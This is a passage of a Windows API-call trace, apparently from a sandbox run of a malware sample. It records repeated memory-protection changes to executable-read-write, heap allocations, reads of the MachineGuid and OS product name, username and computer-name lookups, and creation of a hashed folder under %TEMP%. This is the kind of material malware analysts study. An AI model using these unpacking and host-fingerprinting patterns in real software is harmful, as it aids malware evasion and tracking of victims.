OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.953] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x419000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.953] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x406000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.958] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.959] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.959] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.960] VirtualAlloc (lpAddress=0x1fcf0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fcf0000 [0147.961] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Cryptography", ulOptions=0x0, samDesired=0x20119, phkResult=0x1e7dfbb0 | out: phkResult=0x1e7dfbb0*=0x5d0) returned 0x0 [0147.962] RegQueryValueExW (in: hKey=0x5d0, lpValueName="MachineGuid", lpReserved=0x0, lpType=0x1e7dfbb8, lpData=0x1e7df9b0, lpcbData=0x1e7dfbb4*=0xfe | out: lpType=0x1e7dfbb8*=0x1, lpData="500c0908-381e-49dc-a6a0-1a800e9a56e0", lpcbData=0x1e7dfbb4*=0x4a) returned 0x0 [0147.963] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="500c0908-381e-49dc-a6a0-1a800e9a56e0", cchWideChar=36, lpMultiByteStr=0x1e7debdc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="500c0908-381e-49dc-a6a0-1a800e9a56e0", lpUsedDefaultChar=0x0) returned 36 [0147.963] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x1e7dfbc4 | out: phkResult=0x1e7dfbc4*=0x5d4) returned 0x0 [0147.963] RegQueryValueExW (in: hKey=0x5d4, lpValueName="ProductName", lpReserved=0x0, lpType=0x1e7dfbcc, lpData=0x1e7df9c4, lpcbData=0x1e7dfbc8*=0xfe | out: lpType=0x1e7dfbcc*=0x1, lpData="Windows 7 Professional", lpcbData=0x1e7dfbc8*=0x2e) returned 0x0 [0147.964] RegCloseKey (hKey=0x80000002) returned 0x0 [0147.964] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="Windows 7 Professional", cchWideChar=22, lpMultiByteStr=0x1e7debdc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Windows 7 Professional0-1a800e9a56e0", lpUsedDefaultChar=0x0) returned 22 [0147.964] GetUserNameW (in: lpBuffer=0x1e7df9e8, pcbBuffer=0x1e7df9e4 | out: lpBuffer="aETAdzjz", pcbBuffer=0x1e7df9e4) returned 1 [0147.965] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="aETAdzjz", cchWideChar=8, lpMultiByteStr=0x1e7debdc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aETAdzjz7 Professional0-1a800e9a56e0", lpUsedDefaultChar=0x0) returned 8 [0147.965] GetComputerNameW (in: lpBuffer=0x1e7df9e8, nSize=0x1e7df9e4 | out: lpBuffer="YKYD69Q", nSize=0x1e7df9e4) returned 1 [0147.966] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="YKYD69Q", cchWideChar=7, lpMultiByteStr=0x1e7debdc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="YKYD69Qz7 Professional0-1a800e9a56e0", lpUsedDefaultChar=0x0) returned 7 [0147.966] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1f02468c, cbMultiByte=8, lpWideCharStr=0x1e7dec30, cchWideChar=2047 | out: lpWideCharStr="41E341C3") returned 8 [0147.967] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%\\41E341C3\\", lpDst=0x1e279884, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\") returned 0x2f [0147.967] SysReAllocStringLen (in: pbstr=0x41c7c0*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\", len=0x2e | out: pbstr=0x41c7c0*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\") returned 1 [0147.967] CreateDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3"), lpSecurityAttributes=0x0) returned 1 [0147.970] VirtualAlloc (lpAddress=0x1fcf4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fcf4000 [0147.971] VirtualAlloc (lpAddress=0x1fcfc000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fcfc000 [0147.972] VirtualAlloc (lpAddress=0x1fd04000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd04000 [0147.973] VirtualAlloc (lpAddress=0x1fd0c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd0c000 [0147.974] VirtualAlloc (lpAddress=0x1fd14000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd14000 [0147.975] VirtualFree (lpAddress=0x1fd10000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0147.976] VirtualAlloc (lpAddress=0x1fd1c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd1c000 [0147.977] VirtualAlloc (lpAddress=0x1fd24000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd24000 [0147.978] VirtualAlloc (lpAddress=0x1fd2c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd2c000 [0147.979] VirtualAlloc (lpAddress=0x1fd34000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd34000 [0147.980] VirtualFree (lpAddress=0x1fd30000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0147.980] VirtualAlloc (lpAddress=0x1fd3c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd3c000 [0147.981] VirtualAlloc (lpAddress=0x1fd44000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd44000 [0147.982] VirtualAlloc (lpAddress=0x1fd4c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd4c000 [0147.983] VirtualAlloc (lpAddress=0x1fd54000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd54000 [0147.984] VirtualAlloc (lpAddress=0x1fd5c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd5c000 [0147.985] VirtualAlloc (lpAddress=0x1fd64000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd64000 [0147.986] VirtualAlloc (lpAddress=0x1fd6c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd6c000 [0147.987] VirtualAlloc (lpAddress=0x1fd74000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd74000 [0147.987] VirtualFree (lpAddress=0x1fd70000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0147.988] VirtualAlloc (lpAddress=0x1fd7c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd7c000 [0147.989] VirtualAlloc (lpAddress=0x1fd84000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd84000 [0147.990] VirtualAlloc (lpAddress=0x1fd8c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd8c000 [0147.991] VirtualFree (lpAddress=0x1fd88000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0147.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.994] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.995] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.996] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.998] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0147.998] VirtualAlloc (lpAddress=0x1fd94000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd94000 [0147.999] VirtualAlloc (lpAddress=0x1fd9c000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fd9c000 [0148.000] VirtualFree (lpAddress=0x1fd98000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.001] VirtualAlloc (lpAddress=0x1fda4000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fda4000 [0148.002] VirtualAlloc (lpAddress=0x1fdac000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fdac000 [0148.003] VirtualAlloc (lpAddress=0x1fdc0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fdc0000 [0148.004] VirtualFree (lpAddress=0x1fdbc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.004] VirtualAlloc (lpAddress=0x1fdc8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fdc8000 [0148.005] VirtualAlloc (lpAddress=0x1fdd0000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fdd0000 [0148.006] VirtualFree (lpAddress=0x1fdcc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.009] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.010] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.011] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.012] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.013] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.014] VirtualAlloc (lpAddress=0x1fdd8000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fdd8000 [0148.014] VirtualAlloc (lpAddress=0x1f028000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f028000 [0148.015] VirtualFree (lpAddress=0x1fddc000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.016] VirtualAlloc (lpAddress=0x1f100000, dwSize=0x54000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f100000 [0148.025] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.027] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.028] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.030] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.031] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.031] VirtualAlloc (lpAddress=0x1f154000, dwSize=0x24000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f154000 [0148.035] VirtualAlloc (lpAddress=0x1f178000, dwSize=0x6c000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f178000 [0148.036] VirtualFree (lpAddress=0x1f174000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0148.040] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.048] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.051] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x405000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.053] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x40) returned 0x0 [0148.056] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.057] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.057] VirtualAlloc (lpAddress=0x1f1e4000, dwSize=0x130000, flAllocationType=0x1000, flProtect=0x4) returned 0x1f1e4000 [0148.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.061] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.062] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.071] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.085] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0148.086] 